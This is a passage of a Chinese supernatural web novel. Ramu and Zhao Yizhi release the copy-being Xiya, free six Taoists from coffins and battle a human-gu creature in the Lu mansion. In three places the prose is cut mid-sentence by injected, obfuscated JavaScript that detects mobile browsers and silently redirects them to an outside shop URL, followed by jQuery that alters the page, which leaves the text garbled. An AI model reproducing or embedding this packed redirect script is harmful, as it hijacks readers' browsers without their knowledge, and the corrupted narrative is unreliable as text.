无奈之下,他们只能去开那扇看上去就不吉利的门。 再次站在贴着黄符的屋门外,赵义之和拉姆都沉着脸,盯着地上破碎的身体组织——那个赵义之怎么杀都杀不死的两女怪。不知她们遭遇了什么,血肉飞溅得到处都是,找不出一块好肉好皮,只有头发搅成团挂在屋檐上。 “我给自己下了一个禁制。”拉姆的眼睛紧紧盯着门上的锁,“不对任何生命使用‘剥夺’的力量。” 赵义之问:“用了会怎么样?” “对方的身体被碾碎,灵魂化作养料,供养给‘赋予’。”顿了顿,拉姆继续说,“如果里面的东西很难对付……” “再难对付也不过是只蛊,我不信机关枪对付不了它。”赵义之扬着眉毛,眼中满是生命的气息。 “你就按自己的步调来。”重新调整好呼吸,拉姆向赵义之摊开手,“钥匙。” 赵义之边拿钥匙边说:“根本没必要交给我保管吧。” 拉姆接过钥匙走上前,咔哒,拧开了锁。 平白无故吹来一阵风,代替拉姆推开了门。符纸哗啦作响,最终还是飘落到地上——这个房间才算是真正的打开。 “我说过,你一定会来救我。” 屋内的布置看起来像书房,从房门照进的光方正地映在地板上,与里间的暗泾渭分明。 书桌后面坐着一道身影,直勾勾看着刚进门的拉姆,声音里带着笑意。 “好久不见,拉姆,我知道打开这扇门的一定是你,也只能是你。” 见屋内的并不是怨气冲天的人蛊,赵义之大松口气,步子也轻盈许多:“你熟人?” 没有太多表情的拉姆明显冷了脸,眼里眸光犀利:“阿卡夏。” “怎么是你?!”赵义之差点跳起来,转念一想似乎又有哪里不对,“不对,你变声了?” 阿卡夏轻笑两声,尽显女子柔媚之态。 “鸡皮疙瘩起来了。”赵义之说道。 “阿卡夏”没有因为赵义之的无礼而生气,依旧保持着礼貌:“准确来说,我是阿卡夏的信息复制体,并非本人。你们可以叫我希雅。” 赵义之双手握紧机关枪,这是他第二次见到“阿卡夏”。 “复印件啊,怎么把性别复印错了。你的原件已经被拉姆收拾干净了,你被关在这里肯定还不知道吧。” “真的收拾干净了吗?”希雅的目光移到拉姆脸上,欣赏着拉姆此刻的表情,非常愉快“阿卡夏与拉姆一样,是不灭的,就连他们自己都无法‘收拾干净’自己。我猜,阿卡夏是暂时躲在——” 没有耐心听希雅把话说完,拉姆挡住赵义之,抬手扔出一只黑球。 希雅依旧处变不惊,敲着二郎腿,唤道:“陆茵茵。” 书桌前凭空出现一位女子的身影,身穿白色的绣花袄裙,头戴凤冠,俨然是新娘子的打扮。她一出现,便是直愣愣地挡在希雅面前。 “陆茵茵!”赵义之惊讶不已,“你怎么在这里,难道你就是最后炼出来的人蛊?!”尽管他之前有这个猜想,但亲眼见到还是被吓了一跳。 对面的陆茵茵没有任何动作。 拉姆来不及收回黑球,只好手指一斜,让黑球从陆茵茵身旁擦过。但他脸色不好看,比之前对上阿卡夏时还臭得厉害。 “谢谢你们为我开门。”希雅从墙上被黑球啃出来的缺口逃出屋外,“对了,再告诉你们一个好消息,真正的人蛊并不是陆茵茵哦。” 希雅合并了陆茵茵的信息,让她成为自己身体的一部分,化作一双天使般的翅膀飞上空中。 “欺负我们没有翅膀。拉姆,上来!”赵义之弄出一辆高喷消防车。这车,臂展之后可达百米高。 虽然并不是用来托人的,但不妨一试。 拉姆跃上升高的臂管末端,稳稳追向逃离的希雅。他身边闪烁着无数光影,明明什么都没有,却又好像有铺天盖地的蝴蝶在飞舞。 无物似有物。 “蝴蝶”如箭矢一般飞射而出,纠缠着希雅的翅膀,要将陆茵茵从她身上剥离下来。 天色骤然间暗下来,拉姆身边出现的流光溢彩,一道一道,比极光还要梦幻绚烂。接着,赵义之再次看见了金色的花,和孵化出来的妖精虫,朝希雅所在的方向涌去。 晦暗不明中,拉姆身后似乎扭着一缕发光的白烟,随后又出现一缕……逐渐变得茂密。 细长的触须穿过极光花海,缠住希雅背后的翅膀与双臂。拉姆冷漠地开口:“留下陆茵茵。” 挣脱不开的希雅艰难地挤出笑:“没有陆茵茵,我还能活么。我没有那么愚蠢。” 她在赌,赌拉姆会为了陆茵茵而放过她。 显然,她赌赢了。 片刻后,拉姆松开触须,散去无形的蝴蝶与妖精虫。天空恢复明亮,却又与之前哪里不同了。 “拉姆,我给你留了一件礼物,就留在小姐楼。你拆开后必定格外激动。”希雅冲他一笑,立即转身加速飞走。 刚才插不进手的赵义之调整臂管的角度,对着希雅的后背来了两记水炮。希雅回头恶狠狠瞪他,跑得更快了。 拉姆从百米高空跳下来,在距地面不到半米才减小重力,缓缓落地。 赵义之惊魂未定,拍着心口:“我还以为是我调整角度喷水的时候把你摔下来了。正在想怎么接住你。那么高,篮球都能摔裂。”他又说,“真要放她们走?陆茵茵怎么办?” “我在她身上留下了记号,可以追踪。” “不会被她发现吧?” 拉姆继续说:“被你的水炮打没了。” 赵义之愣住,随后蹲下身拽着拉姆的裤腿,认错:“我错了!我本来是想帮你出气的,我不知道你留了记号。” “没关系,不是大事。”拉姆拍拍赵义之的脑袋,脸上表情总算有所缓和,“起来吧。” “不过……”赵义之站起来,“原来你的本体是克苏鲁啊。” 拉姆是第一次听到这个三个字,歪着脑袋甚是不解:“什么克苏鲁?” 赵义之兴致勃勃地解释给他听:“克苏鲁是一种长满触脚的神,谁也没有见过它的全貌。” 拉姆想了想,问:“克苏鲁会发光吗?” “应该……不会吧。”赵义之不确定。 “那我就不是你口中的克苏鲁。” “也没见你发光啊。”赵义之打量着拉姆的身体,“你真的会发光?” 不耐烦的黑猫叫唤一声,围在拉姆的脚边蹭。 “跟着它走。”拉姆没有回答赵义之。 赵义之缠着他:“小叔,我想看。” “以后吧。” 明明依旧是陆家的宅子,可又与之前完全不一样。没有满地的肉屑血浆,没有挂着尸体的刑房,没有找眼睛的女人。只是整个宅子都上了年岁,处处透着荒败萧条。砖瓦物件明明都是好的,却也已经死了。 黑猫突然跑向一间院子,停在六只襄金纹的红色棺材前。 这间屋院格外宽敞,有六间屋子,光线更是比其他院子充足,仿佛并不属于陆家。 棺材并排放在院子正中间,落满厚厚的灰,好似自打放在这里便再也没有被人动过,诡异又合理。 “咳咳。”赵义之清清嗓,“这……什么意思?” 咚。 一只棺材中响起声音,在空阔安静的院子里显得尤其突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456247|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兀惊耳。 片刻的寂静后,拉姆迈开脚步,走到发出声音的棺材前,屈起手指,敲了敲棺盖。里面再次传出声音,是与刚才相同的敲击声。 “拉姆先生,是你吗?”里面有一道闷闷的说话声。 “是我。”拉姆试着推开棺盖,可用尽力气都推不动分毫。 见拉姆要开棺,赵义之赶过来帮忙,可惜两人合力也依旧无甚收获。他松手后退两步,一边观察周围的情况,一边说:“看来要先做别的事才能打开。” 拉姆敲敲棺盖,俯身对里面说:“再等等。” “找到其他人了吗?”里面的昀清又问。 “在你附近。” 环视一圈后,赵义之若有所思地问:“小叔,你觉不觉得这个院子的形状很奇怪?” 拉姆闻声抬起头,看了看四周,轻声喃道:“六边形的院子……” “人骨灯是六边形,八音盒是六边形,这里又是六边形,还有六口棺材。”赵义之灵光一闪,“6666啊。” “八音盒也是?”拉姆之前只注意到了里面的音乐,没有在意它的形状。 赵义之将八音盒构建出来,递给拉姆,“你看,是六边形吧。” 拉姆端着八音盒静静聆看了片刻,便还给赵义之:“我需要一架钢琴……还是先将棺材摆成六边形。” “原来是这个意思。简单。”赵义之开着叉车逐一移动棺材的位置,按照拉姆的要求围成标准的六边形。 不等赵义之问,拉姆走到正中间,指着地面:“钢琴放在这里。” “好嘞。”赵义之不仅架好钢琴,还贴心地将乐谱也准备上了。 拉姆站在钢琴前:“凳子。” 赵义之拍拍脑门,立刻准备上琴凳,还帮忙调整好高度,这才靠在钢琴旁,等着听曲子:“除了钢琴,你还会别的乐器吗?” “会的不多。”拉姆抬起双手,优雅地落在琴键上,“低音提琴,长箫,七弦琴,架子鼓也会一点。还有一些现在没有的乐器。” “不愧是永生的人。” 音乐响起,与之前在琴房中弹的《卡农》完全不一样,甚至毫不相干。赵义之不禁困惑地蹙起眉,不知拉姆为什么要弹这样的曲子。 拉姆放松自由地弹奏,用赵义之能听见的声音,轻轻说:“卡农最早时,只是曲式体载,并不是帕赫贝尔创作的《D大调卡农》,这首曲子最有名。早在十三世纪,就已经在民间出现卡农了。出现完整的卡农曲后,某个乐派的作曲家们十分喜欢使用卡农。这首《弥撒曲》正是第六代的核心代表人物菲利普·德·蒙特所著,使用了卡农的技巧。” “现在我们有五个六边形了,是不是还差一个?”就赵义之的美学来讲,没有第六个六方形的东西等同于断头维纳斯。 弹完《弥撒曲》,拉姆合上琴盖站起来:“不差,正好六个。” 赵义之寻思了一会儿,问:“人骨灯算两个?” “不是人骨灯。”拉姆合上琴盖,“小姐楼的院子里有一口缸,缸底的镇缸石是一块六角水晶石。”他慢慢站起来,“开棺吧。” 打开棺材盖,每一口棺材里面各躺着一名道士,除去之前见过面的昀清,其余五位皆是满脸茫然,在“观察”和“出手”之间犹豫不定。 “元清师兄、信清师兄。” 听见昀清的声音,棺材里的人才陆续站起来,左右一瞧,全是熟人,惊喜又尴尬。 “你们怎么被关在棺材里?”赵义之问昀清。 昀清挠挠头,讲起自己的遭遇:“当我制服白衣鬼怪,再——” 他的话尚且没有说完,便被赵义之打断:“你说什么?制服什么?” 昀清不好意思地揉揉鼻子:“贫道略会一点拳脚。” 50.地面之下的东西 狭长的黑色院门砰地关上。 昀清没有被关门的动静吸引注意,反倒重新起手屈膝摆好架势,长长吐出一口浊气,眼神锐利,表情格外镇定。 白衣女那张几乎被头发遮住的脸上牵起一抹诡异的怪笑,向昀清冲过来,却又在还剩半米距离时从昀清眼前骤然消失。昀清只是微微一怔,心境并没有受到太大的影响,全身的白气已然包围周遭一米之内,只要白衣女近他身,他就能立刻做出反应。 小院中吹过的每一缕微风、漂浮的每一粒尘埃,昀清的身体全部能感受到。 一样如绳索一般的东西朝他后背飞速射来,安然自若的浮尘被迫卷入这场小风暴,飘向昀清。 穿着布鞋的脚在地面上划出圆弧,留下摩擦的痕迹,昀清的身体也随之向后扭转,一把拽住了白衣女当做武器的头发。他想顺势将白衣女拽过来,哪知白衣女却自断发丝,迅速往后退避,双眼从头发后面凝重地盯着被昀清的气给抹消的断发。 她终于明白眼前的男人,并非普通人。 “你要是还想继续的话,我奉陪。你要是想走,就请。” 白衣女没有动,似乎在权衡,头发底下露出来的右眼反复打量昀清。昀清周身的气场丝毫没有减弱,反而变得更加强盛。 几分钟的对峙后,她认输了,转身要回小姐楼。 然而昀清并不打算放她走,快步追上前,在白衣女进楼时拦在门前。他左手撑着门框,几乎是将白衣女挡在怀中:“你见没见过其他进来的人?衣着和我一样。” “啊……啊……”白衣女张大嘴,好让昀清看见自己没有舌头的口腔。 昀清松开手,叹口气:“你走吧,别再吓唬人了。”他忽然凑近,眼神一变,近乎威胁地说,“不然,下次就没有下次了。” 白衣女浑身一颤,抬眼看了看昀清,逃似的窜回楼里。 推开紧闭的大门,从小姐楼的院子里出来,昀清看着左右两边都可以通往下个院子的小道,决定掐指算。最后算出来的答案,与赵义之他们走的方向截然相反。 迷宫般的大院深宅空无一人,昀清边走边喊,喊自己的师兄弟,也喊拉姆和赵义之。回回应他的只有奇怪的安静。 他一直走,一直找,不小心踢到门槛上的木拦,疼得弓起背。 “然后我就听见了敲门声,抬头想看看是谁的时候,不知怎么就躺在棺材里了。” 其他五位差不多也是这么个情况,直到赵义之和拉姆打开棺材盖,他们才发现自己躺在棺材里。 “是希雅的手笔。”提起这个名字,拉姆没什么好脸色,“为了不让任何人干预我开门。” 赵义之扭头盯着被灵山抱在怀里的黑猫,微微眯眼:“这么说来,我和拉姆往哪里走,可都是它在引路。” 所有人的目光投向黑猫。灵山将黑猫护在怀里,戒备地后退,手臂收得更紧了:“给你们引路还错了啊?多亏了定定你们才能走到这里。” “这里是它弄出来的茧房,它理应知道……”说到这里,拉姆收了话音陷入沉思。 黑猫仿佛看透拉姆的心思,从灵山怀中跳下来,跑到他脚边喵了一声。 拉姆低下头,问黑猫:“你是什么时候被她抓住的?” “喵……”黑猫的叫声变得软绵无力。 “陆茵茵不是自杀而亡,对吗?”拉姆又问。 “喵!”黑猫大声叫唤,“喵嗷!喵!喵嗷呜!” 拉姆的眼帘垂下来,似有悲伤:“我知道了,谢谢你告诉我。” “你听得懂猫语?”灵山面带惊喜地冲到拉姆面前,眼睛亮晶晶的:“教教我,我可以教学费。” “灵山,这就位是拉姆先生。”昀清拎起灵山的后衣领,抱歉地对拉姆说,“灵山性格跳脱,请拉姆先生不要和她计较。” 灵山露出“原来如此”的表情,悄悄和昀清说:“这个就是师父说的高人?长得确实蛮高的。他是混血?还是新疆人?眼睛是戴的美瞳吧,挺自然的。” 昀清无语得很:“你还是先担心自己会不会跪香吧。说了让你在外面等,两个看都看不住你。” “这点小事,不会让我跪香的。” 拉姆不在意师兄妹两人的闲聊,视线平和地扫过几名年纪稍大的道士:“我们要去小姐楼。你们呢?” “现在也出不去,我们和你们一起走。” “可能会有危险。”希雅留下的所谓礼物,必定不是什么好东西。 年纪最大的道士无奈地说:“那也只能去了。” 拉姆没再阻拦,转身往院门外走去。 赵义之立即跟上,贴着拉姆的胳膊问:“刚才定定和你说了什么?” “讲了罗淮恩死后的事。你很好奇?”拉姆侧头看向赵义之。 “你想说我就好奇,你不想说我就不好奇。但总的来说还是好奇的。”赵义之看着拉姆的目光中充满期待。黑猫突然跑过来,跳起来抓住他后背的衣裳,借力跑上他的肩膀,坐下了。 拉姆顺手摸了摸黑猫的下巴:“希雅找到张祥文的母亲,称愿意帮她报仇,但要她先杀了陆茵茵。张母为了给儿子报仇答应了。她跟着希雅重新回到陆宅,杀死陆茵茵后将她扔进了井里。” “那吊死在小姐楼里的是……”赵义之不太确定,“张母?” 拉姆微微点了下头,继续说:“也是张母帮希雅抓住了嗅墨。所有的一切,都是为了让我在今日进入茧房,放希雅出来。” 赵义之不解:“为什么一定要你来?” 沉默片刻,拉姆才开口:“记录上写了:阿卡夏死亡。所以他一定会死,但记录只书写有意义的事,没有太多细枝末节。希雅是他为自己留下的后路,其他人无法进入那个空间。这是他的游戏。” 赵义之瞠目结舌,好半天才找回自己的思绪:“不会……我出车祸,也是他设计好的吧?” “从现在的结果看,大概,是他做的。” 听见答案的赵义之脸色惨白,骤然间,全身失去了所有温度,他在颤抖、在惊愕,也在恐惧:“那……我朋友的自杀……也是他干的?” 拉姆侧头看看他:“或许吧。如果他的目标是你,就有下手的可能性。” 赵义之愣了好半晌,眼中的怒火在一瞬点燃:“老子要弄死他!”他的牙齿被咬得咯咯作响,“害我就算了,竟然害我朋友,弄不死他我就去死。” 拉姆抬起准备摸赵义之后脑的手,顿了顿,终于是落下来,轻轻拍了拍他的后背,以示安慰。 再次站在小姐楼的院门外,他们并没有立刻推开紧闭的院门走进去。 小姐楼上的留声机放着歌曲,和赵义之他们初上楼阁时,所听见的一样。 在门前停留片刻,拉姆才在赵义之的灼灼目光下示意他可以开门。此刻的赵义之像得到允许的大狗子,摇着尾巴扑上去。 门被推开的刹那间,小姐楼里的留声机停了。岑寂的高墙小院中连风声都静止,耳边响起的,只有皮鞋与布鞋跨过门槛踩在青石板上缓慢而谨慎的脚步声。 就在这时,小姐楼的木门吱呀一声打开,里面飘出似有若无的低吟,含糊、瓮沉。 刚做好心理建设抬脚正准备进去的赵义之倏然顿住,默默收回脚,扭头对趴在他肩膀上的黑猫说:“要不你去探探路?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460497|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黑猫跳下赵义之的肩膀,亲昵地蹭着拉姆的裤腿,没理他。 “你怕啊?”灵山的脑袋突然凑过来,语气中带有一丝嘲笑,“胆子这么小。要不我卖你一张保命符吧,不贵的,只要十块。”说着她又在斜挂身上的布包里翻找,“我还有延年益寿丹,你要不要来点?四十一颗,亲友价哦。” 赵义之没来得及反驳“胆子小”,手中便莫名其妙多了张黄符,和一颗塑封好的褐色丹药。 “一共五十。”灵山面带微笑,眼里全是期待,“谢谢惠顾。” 昀清抽走赵义之手中的黄符塞还给灵山:“现在不是你胡闹的时候。” “我是好心。”灵山悻悻收起符和她自己炼出来的丹。 其他几名道士呵呵笑。灵山平时没少逮着他们折腾,今日她的目标换成了别人,如何能不松口气。 “我刚才在逗猫。”为了证明自己胆子不小,赵义之毫不迟疑跨过门槛,走进小姐楼。 身后的门在他进来的同时砰地关上,赵义之只是冷笑一声,硬着头皮往里走:“想搞鬼故事是吧?我帮你啊。” 他左手提着一桶汽油,右手举起点燃的打火机,笑得猖狂又狰狞,反倒像个垂死挣扎的大反派。 不过他还是和大部分反派不一样的,因为他没说任何废话,泼完汽油。直接将打火机扔过去。 没有人气滋养的房子本就易腐朽,更何况还是历经百年的木楼,只稍微借一点点势,火便顷刻之间爬上墙壁和楼梯,不管不顾往二楼烧去。等到赵义之拿起斧头将门劈开,满脸舒畅地走出去时,火光已然吞没了这座小楼。 木头被烧得噼里啪啦,道士们目瞪口呆地看着浴火归来的赵义之。拉姆怀抱黑猫站在楼门外,身姿挺拔。 看见拉姆,赵义之突然变得心虚,丢掉斧头走向拉姆,忐忑地问:“我该不会又干了不该干的事吧?” “没有。”拉姆将黑猫放回赵义之肩上,“这次你是对的。” 小姐楼在大火中垮塌、毁灭、消失,最终只在地面留下一个方形的黑色印记、甚至不足半把灰烬。 “嗯?”一位师兄摸摸自己的胡子发出疑问,“这地方……” “我刚刚就注意到了。”另一位师兄说道。 越过拉姆的肩,赵义之歪头看向那群低头研究地面的道士,不祥的预感油然而生。 “这地方怎么了?” “这地方是座坟。” 赵义之的提问与灵山的回答同时说出口,声音重叠让他不太确定:“坟……?” 灵山将双臂往胸前一抱,说:“之前那座楼镇住了坟里的东西。现在楼被烧,没东西压制了,它想出来怎么办?我们连结界都破不了,能镇得住它吗?小师兄你觉得呢?要不我们给它多烧点纸钱吧。” 昀清伸手使劲将灵山往旁边拽:“少说话,多看看,说不定这次能看见不一样的东西。” 几位道兄则是面色如常,假装没听见,朝拉姆和赵义之围过来,商量如何善后。 “总之,不能就这么不管它。只是里面的东西太凶,靠我们几个不一定收得了。” “我们尽量用阵困住它。” “咳。”赵义之干咳一声,将小姐楼重新构建出来。“或者这样有用?” 眼见高楼起,除了早已司空见惯的拉姆,其他人的表情皆是十分精彩,甚至有人揉了揉自己的眼睛。 赵义之转头问始终没有说话的拉姆:“这样就没问题了吧?” 他猛然想起拉姆刚才的话:这次你是对的。 仿佛是为了回答赵义之的问题,地底下传出一声沉闷的巨响,震得人脑袋发晕。 51.美丽之物 不等道士们做好准备,仅仅怔愣片刻,地面便在比先前更盛的巨响中炸开。石板碎裂,泥土飞溅,赵义之构建出来的木楼粉身碎骨,连作为香台的花坛也被掀翻。原本还算完整的青石砖地面如今出现了一个大窟窿。 千钧一发之际,拉姆拽住赵义之的手臂,拎着他往后跳上院门顶端,避开土地爆炸可能带来的伤害。六名道士虽然没来得及逃走,却也凭借灵活的身手躲过大部分飞溅的土块。如果他们在用武器回击躲不过的石块时,能更注意身边的同门,想来不会有人躲不开了。 小院——坟墓四周的空气骤然下降,地面隐约凝出薄薄一层浮冰,混在泥土缝隙间,恣意散发寒气。 赵义之不由得打了个寒颤:“你能看出来坑里埋着的是谁吗?” 沉默片刻,拉姆才蹙眉回答:“人蛊。” “阿卡夏炼的‘人蛊’不是希雅?”听到关于这里、关于自己的真相后,他以为阿卡夏炼出来的人蛊就是封印在书房里的希雅。 拉姆摇摇头,脸色实在称不上是好,从之前开始就皱起的眉头,至得此时此刻也没有舒展。无论阿卡夏做什么他都不会惊讶,但这不代表他不会生气。 “阿卡夏的目的,是陆茵茵。我不知道陆茵茵有什么特别的地方,但他为了得到陆茵茵的记录信息,必然是从很久之前开始布局了。” “张文祥在路口遇到的女人,难道是阿卡夏?!可是……阿卡夏是个高大的男人,张祥文不可能看不出……来。”赵义之此刻才意识到,犹如被神精心创造出来的拉姆,是男人也好,是女人也好,都不奇怪。 而阿卡夏,与拉姆一模一样。就像希雅,虽然长得高,身上也完全没有男人的影子。 昀清长吐一口浊气,周身气场变得十分清净:“师兄,你们带灵山找个安全的地方等我,不会花太多时间。” “你确定自己一个人能对付?” “我已经吓退一个了。” “加油小师兄。”灵山对接住扑来的黑猫,拽着其他师兄离开了。她分得清场合,也清楚自己的斤两。 拉姆缓缓转头迎上赵义之的目光,拿出一只石头做的小哨子:“接下来,若是我失控,你就吹响它。” 赵义之接过石哨,紧紧攥在掌心:“你要做什么,会失控?” “我不知道,但我不想再重蹈覆辙了。”拉姆落下眼睑,咬字不似以往那样清晰。 赵义之还是听见了,他看着掌心上的石哨,没有应声。 坟坑附近只剩下他们三人,紧紧盯住同一个地方,枕戈待旦不敢有半分懈怠。 忽然,隐隐约约的,从坟坑中传来诡异的窸窣声。声音越来越大,越来越近 突然,成千上百只半米长的蜈蚣从坟坑中涌出来,数秒之间淹没小院,顺着倾斜断裂的墙壁不断往外爬。 里面的东西仍旧没有任何动静,只有化作蜈蚣的浊气迅速蔓延。 当蜈蚣从坑里唰唰爬出来时,昀清周身涌动的气场顿时凝滞,他呆呆地看着铺天盖地的大虫朝自己扑过来,惊得忘记了下一步该做的动作。没有人能在看见密密麻麻的蜈蚣涌向自己还能保持理智,不,准确来说,没有人能在看见无数半米长的蜈蚣时保持理智。 即使是可以凭气场就吓退鬼的昀清。 “昀清师父!” 赵义之的一声大喊唤回了昀清的思维,他迅速后退,借墙壁做跳台跃上院门顶,站在赵义之身边。 “这些没有实体的蜈蚣,我对付不了。”昀清说这话的时候有些无奈,“这是字清师兄擅长的范围。” 旁边没有说话的拉姆缓缓抬起手,身前浮现十个黑球。 赵义之冲昀清一挑眉:“看着吧,对付这样的,用不着我们出手,拉姆才是无敌。” 听见赵义之这么说,昀清移动视线,落在拉姆抬起的手上。 骨节分明白皙红润的修长手指轻轻一动,黑球朝蜈蚣飘去。凡是它碰到的东西,无论是四处乱爬的虫还是地面上的泥土、残墙,全都消失在一瞬间。 而拉姆只需动动手指。 看着附近残破不堪的样子,昀清不由得感到惊讶:“太夸张了。” 赵义之不以为然:“习惯就好。” 就在最后的蜈蚣被吞噬,黑球消失的同时,坟坑中爬上来一名衣着古朴的少女。 “这又是谁?”赵义之小声嘀咕,“难道是陆家小女儿?” 赵义之的目光上下打量站在地面上那个与人无异的小姑娘,全然没有注意到旁侧的拉姆全身骤然绷直。 少女缓缓仰起脸,对拉姆露出僵硬的笑脸,唤道:“主人。” “你叫谁——” 赵义之只觉得身旁忽然掀起一阵风,有什么东西飞速掠过。他的余光只来得及抓住一道残影,有意转头去看,才发现身旁的拉姆已经不见了。 “西壬……”拉姆出现在院子里,站在少女的对面,似乎在发抖。 循着声音回过头,赵义之的目光再次落在少女的脸上。他见过她——那个反复跳进黄河捡起阴女骨头的少女,他在拉姆的记录中见过。只是与那时比起来,少女似乎没有长大太多。 “你为什么在这里?”拉姆尽力克制着声音。 不对,那已经不是西壬了。拉姆心里十分明白。 “你明明……被我的噬无……” “她煞气太重,不是好东西。”昀清神色凝重,“很危险。” 赵义之一听,立即跳下院门朝拉姆跑冲去,“拉姆,离她远点!” 昀清踟蹰半秒,也跟着跳下去。 错愕中的拉姆没有听见赵义之的声音,或者说除了眼前的西壬,其余一切他都不在意:“不可能还在……你不可能还在……” 少女依旧保持着标准的微笑,说出残忍的话:“是的,我被您的噬无吞掉了,在您失控的时候。是第几次了呢?主人,那次是您第几次失控了呢?下一次,您又会让谁消失?” 一道土墙拔地而起,将拉姆与西壬隔开。赵义之赶到拉姆身边带他后退,到了墙边上才说话:“那不是西壬,是人蛊,你别被阿卡夏骗了。你要是实在下不了手,我来,不管用什么方法,我一定不让它跑出去害人。” 好似全身力气都被抽走,拉姆靠坐在断墙下,勉强才立住:“这是留给我的礼物,她出不去的。” “怎么说也是个隐患。” 从土墙后面再次爬出来许多蜈蚣。赵义之不管拉姆答不答应,丢下他朝人蛊走去。他在人蛊周围筑起一圈围墙,在墙内放了把大火。 在赵义之的脚下,一个青色圆环逐渐扩开,自环向内延展出繁复的花纹,最终聚于他脚底下,形成华丽的法阵。 这不是赵义之的杰作,他抬头环顾四周,看见了几名道士在断墙外围着整座坟。 “希望能牵制住她的行动。” “谢了,师兄。” 土墙倒塌,扑灭了大部分的火,蜈蚣再次涌现,硬生生逼退了刚想上前的昀清。 脚下是不断升高的金属台,赵义之平地而起,自金属台外缘快速生成拼接在一起的金属块,最终将他包住。 或许是赵义之弄出的动静实在太大,鼓起勇气再次上前与人蛊缠斗的昀清余光一瞥,整个人愣住。就是这一愣神,他的胸前生生被人蛊挠了一爪。蛊毒顺着伤口浸透身体,昀清还没来得及还手,就栽倒在地。 “韵清师父1”赵义之的声音通过机械播放出来。他挥动机械臂,挡开人蛊,将昀清捡起来放在了他的师兄身边。 看着面前高过一座小姐楼的庞然大物,人蛊的眼中流露出一丝茫然。 庞大的机甲犹如踩死一只蚂蚁般,抬脚从人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17466130|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨头顶正上方踏下,但也如要踩死一只蚂蚁般不容易——人骨躲开了。她移动的速度很快,赵义之的踩踏的节奏完全跟不上。 机甲从背后抽出一节黑色的金属棍,用力一挥,藏在末端的剑身被甩出来,节节展开,形成一柄盈满光辉的长剑。长剑很细很轻,挥动起来格外迅捷。 挥下的光剑依旧被人蛊轻易躲开,有好几下甚至险些误伤旁边的拉姆,赵义之很快意识到,耍剑虽然帅,但他不会。 他掀开机甲腰间一圈的金属盖,环腰的抢嘴凸出来,又给拉姆构建出防弹墙,这才压低准向开始扫射。蛊没能躲开密集的子弹,终于倒地不起。他连忙操控机甲靠近,狠狠补刀。 “主人……主人……”人蛊直挺挺地站起来,朝拉姆的方向喊道。 “这都解决不掉。”赵义之想起了被困在花园里的两名女子。 “蛊和生物不一样。”院子外的道士说,“这样伤不到它。” “一次伤不了,那多来几次。”赵义之又开始新一轮的扫射。 那些被子弹崩下的肉和不断从她身体里流出来的粘液散出黑色的气,凝成许多个与她一模一样的人蛊,一部分牵制机甲的行动;一部分奔向断墙;一部分走向院外去找剩下的人。 机甲被人蛊释放的毒液腐蚀,没坚持多久就跪下了。赵义之带着防毒面具站在跪而不倒的机甲肩膀上,手里是浓硫酸。 “物理攻击没用,那试试化学。” 装着浓硫酸的玻璃瓶接二连三往下砸,刺鼻的气味没多久便充斥在小院中,呛得拉姆捂着鼻子直咳嗽。赵义之深表歉意,想墙外的人以及拉姆扔出防毒面具。 墙边的拉姆摇摇晃晃站起来,正好被防毒面具砸中脸。 “对不起!”赵义之连忙道歉。 拉姆保持着砸中后偏着脸的姿势,片刻后才正回脸:“我给你的哨子还在吗?” 赵义之边扔硫酸边说:“在的。” “嗯,那就好。”说完这句话的拉姆爆发出惊人的气势。 脚下的土地顷刻之间变成一片漂浮着满满鲜花的湖水,半透明的冰蝶、金色的妖精虫、翅膀煽动如海浪的三角形青色浮游鸟,还有两侧各垂两条黄红相接副翎的蓝色采海虫。 全是不可闻的美丽之物。 踏着湖面上的花毯,拉姆不急不躁地往前走,背后的触须如链条般飞向四周,将由毒气凝结出的人蛊悉数困住。那些美丽之物寻着触须飞过去,浮游鸟一点一点挤入人蛊体内,繁殖、孵化,在最后一点养分被蚕食后,化作狂风涌出来;采海虫抱住人蛊的背,探入一根细长的管子,吸取营营养。然后,寻找下一个目标。 看着那些美丽的飞虫,赵义之伸出手臂。它们飞过来停歇在他手上,全然不见刚才凶猛的模样。 最后剩下的人蛊,也是最初的人蛊,对着拉姆笑:“主人。” “我说过,别这样叫我。”拉姆站定在她身前。 “可我喜欢这样称呼您,也一直是这样称呼您的。”西壬的面貌已然恢复如初。他看上去依旧是那个鲜活的少女,不见丝毫邪性。 拉姆尽量保持着镇定:“能告诉我吗,阿卡夏是如何把你炼化出来的?” 人蛊扬着纯真的脸:“很简单呀,把整个陆家作为瓮,用那些人的贪婪、自私、恶毒、奸诈作为养分,一点一点滋养着陆茵茵。”她扶着自己的胸口,“才有了现在的身体。” “为什么是陆茵茵?”他原本清凉的嗓音变得低沉。 “因为……我如果没被您抹杀,长大后就该是那个样子的。” 